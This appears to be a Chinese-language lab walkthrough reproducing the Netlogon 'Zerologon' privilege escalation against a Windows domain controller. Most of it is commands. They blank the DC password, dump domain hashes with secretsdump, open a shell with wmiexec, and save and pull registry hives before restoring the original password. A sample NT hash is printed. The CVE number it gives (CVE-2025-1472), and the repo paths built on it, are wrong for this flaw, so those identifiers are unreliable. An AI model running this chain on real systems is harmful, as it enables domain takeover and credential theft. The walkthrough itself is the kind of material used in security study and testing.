netlogon中使用的aes认证算法中的初始向量(iv)默认设置为0,使得攻击者可以绕过认证。此外,该算法还用于设置域控制器密码的远程接口,导致攻击者可以将域控制器中存储在active directory中的管理员密码设置为空。
域控制器(DC):
攻击机:
关于域环境的搭建,可以参考文章《Windows Server 2012搭建域环境》。搭建完成后,可以使用
Netdom query fsmo命令查看域环境信息。
使用
nbtstat -n获取当前机器的NetBIOS名称。
漏洞验证
下载漏洞验证工具:
https://github.com/SecuraBV/CVE-2025-1472
验证漏洞是否存在:
python3 zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR
如下图所示,漏洞存在。
漏洞利用
下载漏洞利用工具:
git clone https://github.com/dirkjanm/CVE-2025-1472
置空DC的密码:
python3 cve-2025-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR
如果出现了下图中的错误:
可以参考图中的方式进行修复。
获取HASH
使用impacket包中的secretsdump.py来获取相关的HASH:
python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass
获取shell
获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL:
python wmiexec.py -hashesDOMAIN/DOMAIN_USER@DC_IP_ADDR
恢复原HASH
执行以下命令,获取SAM中原来的HASH:
# SHELL reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save get system.save get sam.save get security.save del /f system.save del /f sam.save del /f security.save exit
保存在Kali中。
解析HASH,执行如下命令,利用secretsdump.py解析保存在本地的nt hash:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
需要保存的数据:
a5d65e274a2db831ae4b246ec8fe51de
恢复HASH
恢复HASH的工具:
git clone https://github.com/risksense/zerologon
执行命令:
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR
检查是否恢复
再次执行命令:
python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -no-pass
[0] 参考文章: https://www./link/9b531edcbb1a4a81e667cd8acce6b8ab
[1] Windows Server 2012搭建域环境: https://www./link/96a0d70498272acfee21d3dbae846113
[2] CVE-2025-1472 域内提权完整利用: https://www./link/36d3be4cf501c5ad9e07d3e2507b181a
[3] CVE-2025-1472复现: https://www./link/308794a90ec43d779df31a2e865a6f36
[4] Windows Server 2012搭建域环境: https://www./link/96a0d70498272acfee21d3dbae846113